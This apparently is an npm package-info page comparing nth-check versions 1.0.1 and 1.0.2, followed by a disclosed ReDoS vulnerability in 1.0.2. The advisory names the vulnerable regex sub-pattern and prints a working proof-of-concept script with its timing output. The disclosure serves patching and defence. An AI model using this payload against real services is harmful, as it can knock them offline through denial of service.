Nth-check is a lightweight npm package designed for efficiently parsing and compiling nth-child and nth-of-type selectors commonly used in CSS. Both version 1.0.1 and 1.0.2 share the same core functionality: providing a performant way to determine if an element matches a given nth-check expression. They both rely on the boolbase package as a dependency for boolean expression handling.
However, a key difference lies in the licensing. Version 1.0.1 uses the BSD license, while version 1.0.2 transitions to the BSD-2-Clause license, a common and permissive open-source license. Another subtle distinction is in the repository URL within the package metadata. Version 1.0.1 simply points to the GitHub repository, whereas version 1.0.2 utilizes the git+https prefix, which is a more explicit way of specifying the Git protocol for accessing the repository. Furthermore, version 1.0.2 includes details about the distributed tarball, specifying its fileCount (6) and unpackedSize (5538 bytes), providing insights into the package's footprint. Finally, the release date differs significantly, with version 1.0.1 released in March 2015 and version 1.0.2 released in October 2018, indicating a considerable gap between releases potentially encompassing bug fixes and internal improvements. Developers using nth-check can leverage its speed and efficiency to enhance CSS selector performance in their projects.
All the vulnerabilities related to the version 1.0.2 of the package
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))?
with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms